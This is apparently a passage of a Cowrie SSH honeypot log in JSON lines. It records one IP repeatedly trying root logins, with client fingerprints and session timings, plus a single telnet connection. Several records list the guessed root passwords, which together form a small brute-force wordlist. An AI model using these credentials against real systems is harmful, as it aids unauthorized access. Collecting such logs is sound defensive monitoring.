{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:16.462965Z","src_ip":"60.165.124.241","session":"d3eb1882fe64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@321","message":"login attempt [root/root@321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:17.184910Z","src_ip":"60.165.124.241","session":"d3eb1882fe64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:18.427362Z","src_ip":"60.165.124.241","session":"d3eb1882fe64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":37252,"dst_ip":"10.17.0.5","dst_port":22,"session":"564500010699","protocol":"ssh","message":"New connection: 60.165.124.241:37252 (10.17.0.5:22) [session: 564500010699]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:18.659894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:18.664522Z","src_ip":"60.165.124.241","session":"564500010699","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:18.901000Z","src_ip":"60.165.124.241","session":"564500010699","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa168168","message":"login attempt [root/Aa168168] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:19.621778Z","src_ip":"60.165.124.241","session":"564500010699","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:20.862263Z","src_ip":"60.165.124.241","session":"564500010699","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":40054,"dst_ip":"10.17.0.5","dst_port":22,"session":"4fab3cb1c284","protocol":"ssh","message":"New connection: 60.165.124.241:40054 (10.17.0.5:22) [session: 4fab3cb1c284]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:21.099516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:21.104632Z","src_ip":"60.165.124.241","session":"4fab3cb1c284","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:21.344315Z","src_ip":"60.165.124.241","session":"4fab3cb1c284","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin987","message":"login attempt [root/admin987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:22.070246Z","src_ip":"60.165.124.241","session":"4fab3cb1c284","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:23.312510Z","src_ip":"60.165.124.241","session":"4fab3cb1c284","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":43064,"dst_ip":"10.17.0.5","dst_port":22,"session":"29adf4ea37e4","protocol":"ssh","message":"New connection: 60.165.124.241:43064 (10.17.0.5:22) [session: 29adf4ea37e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:23.560346Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:23.564792Z","src_ip":"60.165.124.241","session":"29adf4ea37e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:23.811812Z","src_ip":"60.165.124.241","session":"29adf4ea37e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Info1234","message":"login attempt [root/Info1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:24.563842Z","src_ip":"60.165.124.241","session":"29adf4ea37e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:25.816305Z","src_ip":"60.165.124.241","session":"29adf4ea37e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46288,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d4c67f400da","protocol":"ssh","message":"New connection: 60.165.124.241:46288 (10.17.0.5:22) [session: 0d4c67f400da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:26.040366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:26.046424Z","src_ip":"60.165.124.241","session":"0d4c67f400da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:26.285875Z","src_ip":"60.165.124.241","session":"0d4c67f400da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.61.227.57","src_port":38740,"dst_ip":"159.203.135.109","dst_port":23,"session":"12cf6174c628","protocol":"telnet","message":"New connection: 38.61.227.57:38740 (159.203.135.109:23) [session: 12cf6174c628]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:26.894907Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd123","message":"login attempt [root/P@ssw0rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:27.006948Z","src_ip":"60.165.124.241","session":"0d4c67f400da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:28.248287Z","src_ip":"60.165.124.241","session":"0d4c67f400da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49508,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e0725b3a34b","protocol":"ssh","message":"New connection: 60.165.124.241:49508 (10.17.0.5:22) [session: 1e0725b3a34b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:28.484695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:28.493662Z","src_ip":"60.165.124.241","session":"1e0725b3a34b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:28.733032Z","src_ip":"60.165.124.241","session":"1e0725b3a34b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"CactiEZ","message":"login attempt [root/CactiEZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:29.483944Z","src_ip":"60.165.124.241","session":"1e0725b3a34b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:30.727038Z","src_ip":"60.165.124.241","session":"1e0725b3a34b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52956,"dst_ip":"10.17.0.5","dst_port":22,"session":"3423bb578849","protocol":"ssh","message":"New connection: 60.165.124.241:52956 (10.17.0.5:22) [session: 3423bb578849]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:30.963869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:30.969672Z","src_ip":"60.165.124.241","session":"3423bb578849","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:31.213429Z","src_ip":"60.165.124.241","session":"3423bb578849","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@12345","message":"login attempt [root/admin@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:31.940829Z","src_ip":"60.165.124.241","session":"3423bb578849","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:33.184047Z","src_ip":"60.165.124.241","session":"3423bb578849","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55750,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ec8e62b9f14","protocol":"ssh","message":"New connection: 60.165.124.241:55750 (10.17.0.5:22) [session: 9ec8e62b9f14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:33.414265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:33.422792Z","src_ip":"60.165.124.241","session":"9ec8e62b9f14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:33.660820Z","src_ip":"60.165.124.241","session":"9ec8e62b9f14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Lucky@123","message":"login attempt [root/Lucky@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:34.379883Z","src_ip":"60.165.124.241","session":"9ec8e62b9f14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:35.622401Z","src_ip":"60.165.124.241","session":"9ec8e62b9f14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58618,"dst_ip":"10.17.0.5","dst_port":22,"session":"4fbe2aef39ca","protocol":"ssh","message":"New connection: 60.165.124.241:58618 (10.17.0.5:22) [session: 4fbe2aef39ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:35.858282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:02:35.863466Z","src_ip":"60.165.124.241","session":"4fbe2aef39ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 